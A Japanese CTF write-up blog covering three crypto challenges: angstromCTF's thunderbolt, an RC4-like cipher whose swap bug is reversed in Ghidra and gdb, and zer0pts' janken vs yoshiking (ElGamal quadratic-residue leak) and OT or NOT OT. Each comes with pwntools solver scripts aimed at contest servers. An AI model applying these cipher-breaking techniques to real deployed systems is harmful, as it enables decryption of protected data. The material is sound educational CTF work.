すると、左側のDecompileの部分にC言語らしきものが表示されます。
undefined8 main(void) { byte bVar1; size_t sVar2; FILE *pFVar3; size_t sVar4; void *__ptr; void *__ptr_00; byte *__ptr_01; undefined8 uVar5; byte *pbVar6; int iVar7; char *local_158; size_t local_150; undefined local_148 [16]; char local_138 [264]; setvbuf(stdout,(char *)0x0,2,0); local_158 = (char *)0x0; printf("Enter a string to encrypt: "); local_150 = 0; getline(&local_158,&local_150,stdin); sVar2 = strcspn(local_158,"\n"); pFVar3 = fopen("flag","rb"); if (pFVar3 == (FILE *)0x0) { puts("Could not open flag file."); uVar5 = 1; } else { fgets(local_138,0x100,pFVar3); sVar4 = strcspn(local_138,"\n"); iVar7 = (int)sVar4 + (int)sVar2; local_138[(int)sVar4] = '\0'; __ptr = realloc(local_158,(long)(iVar7 + 1)); sVar4 = SEXT48(iVar7); strcpy((char *)((long)(int)sVar2 + (long)__ptr),local_138); pFVar3 = fopen("/dev/urandom","rb"); fread(local_148,0x10,1,pFVar3); __ptr_00 = malloc(sVar4); fread(__ptr_00,sVar4,1,pFVar3); fgen(__ptr_00,local_148,sVar4,0x10); __ptr_01 = (byte *)malloc(sVar4); enc(__ptr,__ptr_01,sVar4); if (0 < iVar7) { pbVar6 = __ptr_01; do { bVar1 = *pbVar6; pbVar6 = pbVar6 + 1; printf("%02x",(ulong)bVar1); } while (pbVar6 != __ptr_01 + (ulong)(iVar7 - 1) + 1); } putchar(10); free(__ptr_00); free(__ptr); free(__ptr_01); uVar5 = 0; } return uVar5; }
setvbufやstrcspnなど分からないものは調べてください。
また、ここでは厳密な話は抜きにします。「そこはポインタだろ」みたいなツッコミはなしでお願いします。
要約すると、
if文直前まで :
local_158: stdinからの入力sVar2: stdinからの入力の長さ
if文 :
"flag"という名前のファイルが開けなければ終了else文,
sVar4 = SEXT48(iVar7);まで :sVar4: (flagの長さ) + (stdinからの入力の長さ)
else文,
fgen直前まで :__ptr: (stdinからの入力) + flaglocal_148:"/dev/urandom"から16 bytesのランダム値__ptr_00:"/dev/urandom"からsVar4bytesのランダム値
fgen: 引数は順に「sVar4bytesのランダム値、16 bytesのランダム値、sVar4、16」__ptr_01: 長さsVar4の空文字列enc: 引数は順に「 (stdinからの入力) + flag、__ptr_01、sVar4」残り :
__ptr_01出力
ghidraの真ん中のListingを見たらわかりますが、fgenとencだけピンク色になっているので、自作の関数ということです。
この詳細は後で追います。
ここまででもかなり分かりにくいので、Python風に例をあげると(めちゃくちゃ省略してますが)
import os _stdin = 'abcd' flag = 'actf{hogehoge}' sVar4 = len(_stdin + flag) fgen(os.urandom(sVar4), os.urandom(16), sVar4, 16) c = enc(_stdin+flag, sVar4) print(c)
こんな感じでしょうか。これだけ見るとシンプルです。
さて、if文でもある通り"flag"というファイルがないとローカル環境で動かないので、適当に作成しておきます。
$ echo "actf{hogehoge}" > ./flag
fgen解析
ここからはfgenを見ていきます。ghidraのListingの所のfgenをダブルクリックすると、fgenのデコンパイル結果が表示されます。
void fgen(long param_1,long param_2,ulong param_3,ulong param_4) { int iVar1; long lVar2; ulong uVar3; uint uVar4; ulong uVar5; ulong uVar6; ulong uVar7; /* (1) */ lVar2 = 0; do { *(int *)(f + lVar2 * 4) = (int)lVar2; lVar2 = lVar2 + 1; } while (lVar2 != 0x100); /* (2) */ uVar3 = (ulong)s; uVar6 = 0; do { uVar7 = uVar6 & 0xff; uVar5 = uVar6 + 1; iVar1 = (uint)*(byte *)(param_1 + uVar6 % param_3) + (int)uVar3 + *(uint *)(f + uVar7 * 4); uVar4 = (uint)(iVar1 >> 0x1f) >> 0x18; uVar3 = SEXT48(*(int *)(f + (long)(int)((iVar1 + uVar4 & 0xff) - uVar4) * 4)); uVar4 = *(uint *)(f + uVar7 * 4) ^ *(uint *)(f + uVar3 * 4); *(uint *)(f + uVar7 * 4) = uVar4; uVar4 = uVar4 ^ *(uint *)(f + uVar3 * 4); *(uint *)(f + uVar3 * 4) = uVar4; *(uint *)(f + uVar7 * 4) = *(uint *)(f + uVar7 * 4) ^ uVar4; uVar6 = uVar5; } while (uVar5 != 0x300); /* (3) */ uVar6 = 0; do { uVar5 = uVar6 & 0xff; uVar7 = uVar6 + 1; iVar1 = (uint)*(byte *)(param_2 + uVar6 % param_4) + (int)uVar3 + *(uint *)(f + uVar5 * 4); uVar4 = (uint)(iVar1 >> 0x1f) >> 0x18; s = *(uint *)(f + (long)(int)((iVar1 + uVar4 & 0xff) - uVar4) * 4); uVar3 = SEXT48((int)s); uVar4 = *(uint *)(f + uVar5 * 4) ^ *(uint *)(f + uVar3 * 4); *(uint *)(f + uVar5 * 4) = uVar4; uVar4 = uVar4 ^ *(uint *)(f + uVar3 * 4); *(uint *)(f + uVar3 * 4) = uVar4; *(uint *)(f + uVar5 * 4) = *(uint *)(f + uVar5 * 4) ^ uVar4; uVar6 = uVar7; } while (uVar7 != 0x300); return; }
こちらはどちらかというと数式演算処理がほとんどです。以下にPythonで書き直したコードをあげますが、結構似通っていると思います。
対応関係は上のC言語のコメントアウトの部分を参照してください。また、見やすさのためuVar6だけはPython内でiに書き換えています。
def fgen(__ptr_00, local_148, ptr_len): s = 0 f = [0] * 0x100 # (1) lVar2 = 0 while True: f[lVar2] = lVar2 lVar2 +=1 if lVar2 == 0x100: break # (2) uVar3 = s i = 0 while True: l = len(set(f)) uVar7 = i & 0xff uVar5 = i + 1 iVar1 = (__ptr_00[i % ptr_len]) + uVar3 + f[uVar7] # uVar4ほぼ0では？ uVar4 = (iVar1 >> 0x1f) >> 0x18 uVar3 = f[(iVar1 + uVar4 & 0xff) - uVar4] # ここからfの書き換え？ uVar4 = f[uVar7] ^ f[uVar3] f[uVar7] = uVar4 uVar4 = uVar4 ^ f[uVar3] f[uVar3] = uVar4 f[uVar7] = f[uVar7] ^ uVar4 i = uVar5 if uVar5 == 0x300: break # (3) i = 0 while True: l = len(set(f)) uVar5 = i & 0xff uVar7 = i + 1 iVar1 = local_148[i % 16] + uVar3 + f[uVar5] # uVar4ほぼ0では？ uVar4 = (iVar1 >> 0x1f) >> 0x18 s = f[(iVar1 + uVar4 & 0xff) - uVar4] uVar3 = s # ここからfの書き換え？ uVar4 = f[uVar5] ^ f[uVar3] f[uVar5] = uVar4 uVar4 = uVar4 ^ f[uVar3] f[uVar3] = uVar4 f[uVar5] = f[uVar5] ^ uVar4 i = uVar7 if uVar7 == 0x300: break return f, s
C言語の方を見て最初に思ったのが、「fとかsってどこから登場したの？ローカル変数じゃないの？」という事です。
main関数にもfgen関数にも特にint s;のような型定義が書かれていないので、おそらく初期値0のグローバル変数なんだろうと思って読み進めています(Pythonではローカル変数のように扱っていますがreturn f, sで察してください)。
さてさて、fgenの中身を見ていきます。
(1)は大丈夫だと思います。f = [0, 1, ..., 255]にしているだけです。(2)と(3)でfの値をちょくちょく変更しているようですね。
なお、(2)と(3)の違いですが、変数名は少し違うものの、
__ptr_00(os.urandom(sVar4))を使うかlocal_148(os.urandom(16))を使うかsを更新するか
しかありません。
関数の名前にもある通り、fとsをランダム値に基づいて生成しているようです。続いて、(2)の
uVar4 = f[uVar7] ^ f[uVar3]
f[uVar7] = uVar4
uVar4 = uVar4 ^ f[uVar3]
f[uVar3] = uVar4
f[uVar7] = f[uVar7] ^ uVar4
に注目します。これをもう少し分かりやすく書くと
val1 = f[i] ^ f[j] f[i] = val1 val2 = val1 ^ f[j] # val2 : 書き換え前のf[i] f[j] = val2 # f[j] : 書き換え前のf[i] f[i] = f[i] ^ val2 # f[i] : 書き換え前のf[j]
「ただスワップ」してるだけです。(3)も同じです。
この時点でfとsがどうなっているかをgdbで見てみましょう。
余談ですが、自分はgdb-pedaをいれています。導入の仕方はgdb-peda超入門をどうぞ。
操作としては、
$ gdb -q ./thunderbolt_chall # gdb起動 gdb-peda$ b main # main関数にブレークポイントを張る gdb-peda$ r # 実行 gdb-peda$ disas fgen # fgenをディスアセンブル
になります。結果はこんな感じです。
毎度見にくくて申し訳ないです。
fは0x5555555580c0に、sは0x5555555584c0に存在するようです(このアドレス情報はいらないですが、fとsが定義されていることを確認するために載せました)。
では改めて、中身を覗きます。
コマンドは
gdb-peda$ b *fgen+230 # fgenの最終行(disas fgenの結果からわかる)にブレークポイント gdb-peda$ c # 続行 (Enter a string to encrypt: が表示されるので、`abcd`など適当に文字を入力する) gdb-peda$ x/256wx &f # fの中身を表示 gdb-peda$ x/wx &s # sの中身を表示
です。x/256wxは(あまり自分がバイナリ分かってないのもあって)試行錯誤だったりします。
257にしたらsの中身も表示されたので、結果的に256にして「0~255までを各4 bytesのサイズで格納しているんだ」と分かった次第です。
結果はこんな感じ。いい感じにfがバラバラになっています。
ちなみにですが、(1)が終わってf = [0, 1, 2, ..., 255]と整列しているはずです。
これを念のため確認したい用心深い人は(自分です)
gdb-peda$ b *fgen+39 # (1)を抜けた直後にブレークポイント。disas fgenでjne命令が3つありますが、これが全てwhile文を抜ける条件です gdb-peda$ r # 再実行 gdb-peda$ c # fgen+39の直前まで再実行 (Enter a string to encrypt: が表示されるので、`abcd`など適当に文字を入力する) gdb-peda$ x/256wx &f # fの中身を表示
とすれば0からきれいに並んでいることが確認できます。リトルエンディアン(逆順)であることに注意です。
enc解析
さて、続いてencです。デコンパイル結果は以下のようです。
void enc(long param_1,long param_2,long param_3) { uint uVar1; int iVar2; long lVar3; ulong uVar4; uint uVar5; long lVar6; uint uVar7; if (param_3 != 0) { uVar4 = (ulong)s; lVar6 = 0; uVar5 = 0; do { lVar3 = (long)(int)uVar5; iVar2 = (int)uVar4 + *(int *)(f + lVar3 * 4); uVar5 = uVar5 + 1 & 0xff; uVar7 = (uint)(iVar2 >> 0x1f) >> 0x18; s = *(uint *)(f + (long)(int)((iVar2 + uVar7 & 0xff) - uVar7) * 4); uVar7 = (uint)(*(int *)(f + (long)*(int *)(f + (long)(int)s * 4) * 4) + 1 >> 0x1f) >> 0x18; *(byte *)(param_2 + lVar6) = (byte)*(undefined4 *) (f + (long)(int)((*(int *)(f + (long)*(int *)(f + (long)(int)s * 4) * 4) + 1 + uVar7 & 0xff) - uVar7) * 4) ^ *(byte *)(param_1 + lVar6); uVar4 = SEXT48((int)s); lVar6 = lVar6 + 1; uVar7 = *(uint *)(f + lVar3 * 4); uVar1 = *(uint *)(f + uVar4 * 4); *(uint *)(f + lVar3 * 4) = uVar7 ^ uVar1; uVar7 = uVar7 ^ uVar1 ^ *(uint *)(f + uVar4 * 4); *(uint *)(f + uVar4 * 4) = uVar7; *(uint *)(f + lVar3 * 4) = *(uint *)(f + lVar3 * 4) ^ uVar7; } while (param_3 != lVar6); return; } return; }
これも数式多めなのでPythonで似たように書けます。uVar6だけiに変換していて、引数にf, sを追加しています。
def enc(m, c, len_m, f, s): if len_m != 0: uVar4 = s i = 0 uVar5 = 0 while True: # (4) l = len(set(f)) lVar3 = uVar5 iVar2 = uVar4 + f[lVar3] uVar5 = uVar5 + 1 & 0xff uVar7 = (iVar2 >> 0x1f) >> 0x18 s = f[(iVar2 + uVar7 & 0xff) - uVar7] uVar7 = (f[f[s]] + 1 >> 0x1f) >> 0x18 c[i] = f[(f[f[s]] + 1 + uVar7 & 0xff) - uVar7] ^ m[i] uVar4 = s i += 1 # (5) # fgenと少し書き方が違うがスワップしてるだけ uVar7 = f[lVar3] uVar1 = f[uVar4] f[lVar3] = uVar7 ^ uVar1 uVar7 = uVar7 ^ uVar1 ^ f[uVar4] f[uVar4] = uVar7 f[lVar3] = f[lVar3] ^ uVar7 if len_m == i: break return c print('enc error') return [-1]
ここでもf, sの値を書き換えたりしていますが、暗号化フェーズは実はc[i] = f[(f[f[s]] + 1 + uVar7 & 0xff) - uVar7] ^ m[i]だけです。
さらに、(4)のuVar7についてはfgenと同じようにuVar7 = (iVar2 >> 0x1f) >> 0x18で(0x1f + 0x18) bits右シフトなのでよほどのことがない限り0だと思ってよいです。
心配性の人はassert(uVar7 == 0)としたらいいと思います((5)では成り立ちません。どこにassertを挿入するかは気を付けてください)。
なので、暗号化は実質c[i] = f[f[f[s]] + 1 & 0xff] ^ m[i]というXORです。
ここで1つ注意ですが、+の方が&より先に計算されます。これに気付かず自分は結構時間を溶かしました。
また、(5)のfの書き換えも実は「ただのスワップ」です。
ここまでをまとめると、
fgenもencもランダム値に基づいてfおよびsの値を変更している暗号化方式は
fテーブルをもとにXORをとっているだけ
攻撃方法の模索
さて、どう攻撃を仕掛けるかですが、
/dev/urandomの擬似ランダム性につけこむ → 無理。検索してもヒットせずどこがスワップされるかを見極める → 要は
/dev/urandomで生成される値を見破る必要がある。これも無理
(え、無理じゃん。)
ここで何度かgdbを動かしつつfを眺めていたわけですが、ある時こんなことが起きます。
telコマンドもx/256wxとほぼ変わらないと思ってもらってOKです。また、0x5555555580c0はfのアドレスです。
gdb-peda$ tel 0x5555555580c0 128
0000| 0x5555555580c0 --> 0xe70000001a
0008| 0x5555555580c8 --> 0x4a0000005f ('_')
0016| 0x5555555580d0 --> 0x6e0000009b
0024| 0x5555555580d8 --> 0x7c0000003b (';')
0032| 0x5555555580e0 --> 0x50000003c
0040| 0x5555555580e8 --> 0x8d000000c0
0048| 0x5555555580f0 --> 0x90000006c ('l')
0056| 0x5555555580f8 --> 0x180000001d
0064| 0x555555558100 --> 0xba00000025
0072| 0x555555558108 --> 0x50000000fd
0080| 0x555555558110 --> 0x45000000e1
0088| 0x555555558118 --> 0x7600000096
0096| 0x555555558120 --> 0xbb
0104| 0x555555558128 --> 0x6900000006
0112| 0x555555558130 --> 0x3f0000003e ('>')
0120| 0x555555558138 --> 0x8f000000d4
0128| 0x555555558140 --> 0xbd0000004e
...
0416| 0x555555558260 --> 0xa10000002a
0424| 0x555555558268 --> 0x90
0432| 0x555555558270 --> 0x65000000b8
0440| 0x555555558278 --> 0xcd0000005a
...
0xbbと0x90…？
これって0が省略されているから実質0x00000000_000000bbと0x00000000_00000090で、fの中に0が2回登場している…？
「ただのスワップ」ではなかった
というわけで、先ほどのコード
val1 = f[i] ^ f[j] f[i] = val1 val2 = val1 ^ f[j] # val2 : 書き換え前のf[i] f[j] = val2 # f[j] : 書き換え前のf[i] f[i] = f[i] ^ val2 # f[i] : 書き換え前のf[j]
をよく見ると、i != jなら「ただのスワップ」ですが、i == jの時はval1, val2とも0です。
つまり強制的にf[i] = 0にしているわけです。
ということは、乱数(あるいはstdinからの入力)をとても長くとれば、その分相対的にi == jとなる回数が多くなり、fの中身を0ばかりにできるのでは？
試しにやってみます。一旦gdb-peda$ qで終了して、余計なブレークポイントなどを消した後、以下を実行。
$ printf "%0*d\n" 10000 > gdb_in.txt # 10000文字の'0'をgdb_in.txtに保存 $ gdb -q ./thunderbolt_chall # gdb起動 gdb-peda$ b main # main関数にブレークポイントを張る gdb-peda$ r < gdb_in.txt # stdinに渡す文字列をgdb_in.txtからリダイレクトして実行 gdb-peda$ b *main+340 # encの直後にブレークポイントを張る。+340の値はdisas mainで確認可能 gdb-peda$ c # main+340まで続行 gdb-peda$ x/256wx &f
10000字だと全部とまではいかないものの、目視で複数確認できるくらいにはゼロが多くなりました。
fの要素がゼロになれば、暗号化フェーズc[i] = f[f[f[s]] + 1 & 0xff] ^ m[i]が実質c[i] = 0 ^ m[i] = m[i]になります。
これはほぼ勝ちです。
ソルバ
大枠は以下のようになります。
from pwn import * from Crypto.Util.number import long_to_bytes io = remote('crypto.2021.chall.actf.co', 21603) io.recvuntil(': ') io.sendline('A'*40000) print(long_to_bytes(int(io.recvline()[:-1], 16))) io.close()
40000字でも完全にfがゼロになる保証はないので、ここで表示されるものが100%正しいとは限りません(実際、一回弾かれました)。
しかし、ほぼ答えが表示されるうえに、flagの長さが55文字だとわかる(これは勘が良ければデコンパイルしなくても気付ける)ので5回ほど接続してラスト55 bytesだけを比較すればよいでしょう。
以下が最終的なソルバになります。
from pwn import * from Crypto.Util.number import long_to_bytes flag_ls = [] for _ in range(5): io = remote('crypto.2021.chall.actf.co', 21603) io.recvuntil(': ') io.sendline('A'*40000) flag_ls.append(long_to_bytes(int(io.recvline()[-111:-1], 16))) io.close() for flag in flag_ls: print(flag)
actf{watch_the_edge_cases_31b2eb7440e6992c33f3e5bbd184}
ソルバだけ見たら簡潔ですね…
zer0pts CTF writeup(3)
はじめに
これが最終回です。
janken vs yoshiking (crypto, 143pts, 44solves)
Yoshiking knows the flag. He will give the flag to who has gold luck. Let's play the janken with Yoshiking and prove your luck!
import random import signal from flag import flag from Crypto.Util.number import getStrongPrime, inverse HANDNAMES = { 1: "Rock", 2: "Scissors", 3: "Paper" } def commit(m, key): (g, p), (x, _) = key r = random.randint(2, p-1) c1 = pow(g, r, p) c2 = m * pow(g, r*x, p) % p return (c1, c2) def decrypt(c, key): c1, c2 = c _, (x, p)= key m = c2 * inverse(pow(c1, x, p), p) % p return m def keygen(size): p = getStrongPrime(size) g = random.randint(2, p-1) x = random.randint(2, p-1) return (g, p), (x, p) signal.alarm(3600) key = keygen(1024) (g, p), _ = key print("[yoshiking]: Hello! Let's play Janken(RPS)") print("[yoshiking]: Here is g: {}, and p: {}".format(g, p)) round = 0 wins = 0 while True: round += 1 print("[system]: ROUND {}".format(round)) yoshiking_hand = random.randint(1, 3) c = commit(yoshiking_hand, key) print("[yoshiking]: my commitment is={}".format(c)) hand = input("[system]: your hand(1-3): ") print("") try: hand = int(hand) if not (1 <= hand <= 3): raise ValueError() except ValueError: print("[yoshiking]: Ohhhhhhhhhhhhhhhh no! :(") exit() yoshiking_hand = decrypt(c, key) print("[yoshiking]: My hand is ... {}".format(HANDNAMES[yoshiking_hand])) print("[yoshiking]: Your hand is ... {}".format(HANDNAMES[hand])) result = (yoshiking_hand - hand + 3) % 3 if result == 0: print("[yoshiking]: Draw, draw, draw!!!") elif result == 1: print("[yoshiking]: Yo! You win!!! Ho!") wins += 1 print("[system]: wins: {}".format(wins)) if wins >= 100: break elif result == 2: print("[yoshiking]: Ahahahaha! I'm the winnnnnnner!!!!") print("[yoshiking]: You, good loser!") print("[system]: you can check that yoshiking doesn't cheat") print("[system]: here's the private key: {}".format(key[1][0])) exit() print("[yoshiking]: Wow! You are the king of roshambo!") print("[yoshiking]: suge- flag ageru") print(flag)
OT or NOT OTに続いてncで接続するタイプの問題です。ローカル再現は例によってfrom flag import flagを書き換えてsocatでどうぞ。
コードが長めですが、要約すると
は公開鍵、
は秘密鍵
以下の流れでユーザ(我々) vs Yoshikingのじゃんけんが行われる
Yoshikingがランダム値
を設定。これはじゃんけんの度に毎回変化する
Yoshikingは
mod
,
mod
を見た後で、ユーザ側は出す手を指定する
1回でも負ければ終了。引き分けは特に影響なし。通算100勝でflag入手
いつものように大文字は既知で小文字
は未知です。
この段階で先に告白しておきますが、CTFに久しく参加していないせいでセンスが鈍った決定的な1問です。
以下で色々試行錯誤していますが、cryptoのプロフェッショナルの方々は温かい目で見守ってください。
アプローチ1
くどいですが、乗法準同型性があります。グーに対する暗号文が分かれば、2倍や3倍することでチョキ、パーに対する暗号文
の計算は容易です。
もちろん、グーに限った話ではなく他の手にも言えます。なので、なんとか1回目は引き分けか勝利して
「の情報、および2回目以降の情報
から
が
に一致するかを求める(一致しなければ
で検証する)」
ことになります。いわゆるDDH仮定(Decisional Diffie-Hellman)を突破するのが目標です。
さて、ここで突然ですが楕円曲線の場合を考えます。つまり、楕円曲線上のPが与えられた場合に
「の情報、および2回目以降の情報
から
が
に一致するかを求める」
という問題を設定してみます。実は、これはペアリングという技術で解決可能です。
ペアリングとは楕円曲線上の2点に対する演算のことで、任意の整数係数に対し、
が成立します。これを使えば、
となるので、が成立すれば
と
は一致すると言えます。
これを何とか上記に適用できないでしょうか…？
結論から言うと、無理です。
上の方でDDH仮定という言葉を使いましたが、 mod
のような乗法巡回群でこのDDH仮定は存在していて、
のような加法巡回群ではペアリングが存在している以上、DDH仮定は存在しません。
言い換えると、乗法巡回群でのペアリングが成立したら、DDH仮定(およびそれを安全性の根拠にしている暗号スキーム)が崩壊します。
アプローチ2
楕円曲線は忘れましょう。
改めてこのコードを見るとどうやらElGamal暗号に似た形をしています。
Wikipediaで何か有力な情報がないか見てみると、以下の文章がありました。
を素数とするとき、
としてはいけない。このような群上ではDDH仮定が破れる。
あの、どう破れるかを見せてくださいWikipedia先生…
英語版Wikipediaも参照しましたが、めぼしい情報が得られません。こういう時は英語でググるとたいていヒットします。
"elgamal break ddh"で検索をかけて一番上に出てきたPDFにアクセスしてみます。
がっつり論文チックなやつですね。セクション名だけ読むくらいのめちゃくちゃ粗い粒度で目を通していくと…
4 BREAKING ELGAMAL
...
Example 4.1 (Breaking the DDH Assumption)
...
Example 4.2 (Breaking the ElGamal Scheme using a QR generator)
...
なる文字が。このセクションだけ熟読しました。どうやらQR、つまり平方剰余を絡めれば特殊なケースではDDHを破れる様子1。
論文はここでおしまいです。問題に戻りましょう。
以下では平方剰余を (Quadratic Residue), 平方非剰余を
(Quadratic Non-Residue)で表します。
これらの性質として押さえておくべきポイントは
がともに
なら
も
なら
だけです。に置き換えればわかりやすいかもしれません2。
なので、以下ではをそれぞれ
で表記します3。
さて、問題設定は
「から
が
のどれなのかを当てる」
でした。ここで、が
のとき、
なので
が
なら
なら
です。ここまでくるとほぼ解けたも同然です。ここで、わざと
「がすべて
である」
状況を想定します。このとき、
| |
→ | → | Yoshiking | ||||||
|---|---|---|---|---|---|---|---|---|---|
| 奇数 | |
グー | |||||||
| 奇数 | |
チョキ/パー | |||||||
| 奇数 | |
チョキ/パー | |||||||
| 奇数 | |
グー | |||||||
| 偶数 | |
グー | |||||||
| 偶数 | |
チョキ/パー | |||||||
| 偶数 | |
グー | |||||||
| 偶数 | |
チョキ/パー |
は
から決定できます。その右隣の3つはそれぞれグー、チョキ、パーに対応していて、
と
の偶奇から計算できます。
これとが一致するものがYoshikingの手の候補となります。
ここで、今までずっと完全に特定できなくても、2通りに絞れれば負けはないことを失念していました。
引き分けは影響しないですからね。
さて、ソルバの枠組みは以下のようになります。
与えられた数が
のどちらか、つまり平方剰余かどうかを判定する関数を作る
最初に
が
1回目のじゃんけんの情報
が
1回目のじゃんけんを引き分けか勝ちになるよう祈る
ここまでくると、上の表に従ってコーディングすれば2回目以降で負けはない
…運の要素多くないですか？平方剰余と平方非剰余の割合はともに1/2なので、2.と3.の突破率は合計で約1/8です。
4.の突破率は言うまでもなく2/3で、トータルで1/12といったところでしょうか。
ですが、実際やってみるとわかりますが、なぜかほとんど突破しません4。
たぶん上の概算が甘いのでもう少し偏りがあるんだと思います。
なお、1.についてはLegendre記号を実装すればOKです。つまり、
mod
ならは平方剰余(ここでいう
に相当)、
なら平方非剰余(
)です。
アプローチ3
こちらは例によってrkm0959氏のwriteupです。
平方剰余に注目する点は一緒ですが、
「が
で、
が
である」
状況を想定します。この時、は常に
になり、
と
は常に
なので
| → | Yoshiking | |
|---|---|---|
| チョキ/パー | ||
| グー |
確率もざっくり1/8で、場合分けも少ない。それに1回目から運ゲーに頼らなくていいのもエレガントすぎる。こういうセンスの良さは脱帽ですね。
自分が粉骨砕身して考えたシナリオが悲しくなってくるので、こちらをコーディングして終わろうと思います。
from pwn import * import sys # Legendre記号の実装 def legendre(a, p): assert(p % 2 == 1) val = pow(a, (p-1)//2, p) if val == 1: return 1 elif val == p-1: return -1 else: print('QR error') sys.exit() return 0 # 祈りパート。突破率約1/8 while True: # ローカル環境を想定 io = remote('127.0.0.1', 4000) io.recvline() msg = io.recvline()[:-1].decode().split(': ') # G, Pの取得 g, p = int(msg[2][:-7]), int(msg[3]) # 2, 3が平方非剰余になるかどうか if legendre(2, p) == -1 and legendre(3, p) == -1: print('2 and 3 is QNR! Good!') # Gが平方剰余になるかどうか if legendre(g, p) == 1: print('G is QR! Attack start!') break io.close() win = 0 while win != 100: io.recvline() msg = io.recvline()[:-1].decode().split('=')[1].split(', ') # C_1, C_2の取得(C_1は使わない) c1, c2 = int(msg[0][1:]), int(msg[1][:-1]) io.recv(100) # 上の表の部分を実装 # C_2が平方非剰余ならチョキで引き分け以上確定 if legendre(c2, p) == -1: io.sendline('2') # C_2が平方剰余ならパーで勝ち確定 elif legendre(c2, p) == 1: io.sendline('3') else: print('coding error') sys.exit() io.recvline() io.recvline() io.recvline() msg = io.recvline() if b'win' in msg: # デバッグ用。勝利数表示 print(io.recvline()) win += 1 io.recvline() io.recvline() print(io.recvline()) io.close()
zer0pts CTF writeup(2)
はじめに
はじめも何もないですけどね。続きです。
前回はこちら
OT or NOT OT (crypto, 116pt, 71solces)
OT or NOT OT?
# server.py import os import signal import random from base64 import b64encode from Crypto.Util.number import getStrongPrime, bytes_to_long from Crypto.Util.Padding import pad from Crypto.Cipher import AES from flag import flag p = getStrongPrime(1024) key = os.urandom(32) iv = os.urandom(AES.block_size) aes = AES.new(key=key, mode=AES.MODE_CBC, iv=iv) c = aes.encrypt(pad(flag, AES.block_size)) key = bytes_to_long(key) print("Encrypted flag: {}".format(b64encode(iv + c).decode())) print("p = {}".format(p)) print("key.bit_length() = {}".format(key.bit_length())) signal.alarm(600) while key > 0: r = random.randint(2, p-1) s = random.randint(2, p-1) t = random.randint(2, p-1) print("t = {}".format(t)) a = int(input("a = ")) % p b = int(input("b = ")) % p c = int(input("c = ")) % p d = int(input("d = ")) % p assert all([a > 1 , b > 1 , c > 1 , d > 1]) assert len(set([a,b,c,d])) == 4 u = pow(a, r, p) * pow(c, s, p) % p v = pow(b, r, p) * pow(c, s, p) % p x = u ^ (key & 1) y = v ^ ((key >> 1) & 1) z = pow(d, r, p) * pow(t, s, p) % p key = key >> 2 print("x = {}".format(x)) print("y = {}".format(y)) print("z = {}".format(z))
ncコマンドで接続するタイプの問題です。サーバを再現したければ
from flag import flag の箇所をflag = b'zer0pts{hogehoge}'などに置き換えて
$ socat tcp-listen:4000,reuseaddr,fork exec:"python3 /path/to/server.py"
などとすると$ nc localhost 4000でローカルで再現できます。
さて、内容を要約すると
(256bit)を使ったAES-CBCでflagを暗号化
素数
以下のランダム値
が選ばれる
ユーザ(我々)は
以上
を自由に設定可能。ただし4つは全て異なる
以下の規則に従って
が出力される
mod
mod
mod
mod
mod
に更新。つまり右に2bitシフト
大文字は既知(および自由に設定可能)で、小文字
は未知です。
アプローチ1
war(sa)mupの時にも言いましたが、乗法準同型性が成り立ちます。なので、例えば mod
を代入すると
mod
mod
mod
となり、を計算することで
これがに等しければ
の下1bit目は0、そうでなければ下1bit目は1と確定します。
これで半分クリアしました。
…ですが、をどのように設定してもうまく下2bit目を特定できません1。
一旦この方針は保留にします。他のアプローチが失敗したら戻ってこようと思います。
アプローチ2
ncコマンドで接続するタイプのcryptoの問題で一度は試したいのが「 (あるいは
)の設定」です。
例えばですが、とすると、
mod
となり、
というどんな値をとるのか見当もつかない状態から
の2択にまで絞れます。
先ほどはに注目しましたが、以下では
として
に注目します。
アプローチ1と同様に、乗法準同型性を生かすために、として、いったん状況をまとめます。
mod
mod
mod
mod
もう少し場合分けを細分化します。
| |
|
|
→ | |
|
|
|---|---|---|---|---|---|---|
| 0 | 0 | 偶数 | |
|
|
|
| 0 | 0 | 奇数 | |
|
|
|
| 0 | 1 | 偶数 | |
|
|
|
| 0 | 1 | 奇数 | |
|
|
|
| 1 | 0 | 偶数 | |
|
|
|
| 1 | 0 | 奇数 | |
|
|
|
| 1 | 1 | 偶数 | |
|
|
|
| 1 | 1 | 奇数 | |
|
|
ごく稀にですが重複は発生します。例えば、の時、
であるとすると、
で、上の表でいう1番目と4番目の判別がつきません。
厳密な議論はしませんが、少なくとも上から1~4番目内での重複発生確率はせいぜいと言ったところです。
は1024bitなのでさすがに重複が発生しないと信じてソルバを書きます2。
# find_key.py from pwn import * # ローカルで動かしていると仮定してます io = remote('127.0.0.1', 4000) # 上から順に「AESで暗号化したflag」「素数P」「keyのbit長」です io.recvline() p = int(io.recvline()[:-1].decode().split(' = ')[1]) io.recvline() # T取得 t = int(io.recvline()[:-1].decode().split(' = ')[1]) # A = 2, B = 4, C = P-1 # Dは何でもOK。今回は3にしています。 a, b, c, d = [2, 4, p-1, 3] io.recv(100) io.sendline(str(a)) io.recv(100) io.sendline(str(b)) io.recv(100) io.sendline(str(c)) io.recv(100) io.sendline(str(d)) # X, Y, Z x = int(io.recvline()[:-1].decode().split(' = ')[1]) y = int(io.recvline()[:-1].decode().split(' = ')[1]) z = int(io.recvline()[:-1].decode().split(' = ')[1]) if pow(x,2,p) == y : key1, key2 = 0, 0 elif pow(x,2,p) == -y % p: key1, key2 = 0, 0 elif pow(x, 2, p) == (y^1) : key1, key2 = 0, 1 elif pow(x, 2, p) == -(y^1) % p : key1, key2 = 0, 1 elif pow((x^1), 2, p) == y: key1, key2 = 1, 0 elif pow((x^1), 2, p) == -y % p: key1, key2 = 1, 0 elif pow((x^1), 2, p) == (y^1): key1, key2 = 1, 1 elif pow((x^1), 2, p) == -(y^1) % p: key1, key2 = 1, 1 else: print('coding error') key1, key2 = 2, 2 print(key1, key2) io.close()
とりあえずこんな感じで上の表を愚直にコーディングしました。綺麗にまとめたければ適宜いじってもらって大丈夫です。
これを、が0になるまでループさせ、復元した
をもとにAESで復号します。
以上をまとめたソルバは次のようになります。長いので、上のfind_key.pyと一致する部分は省略します。
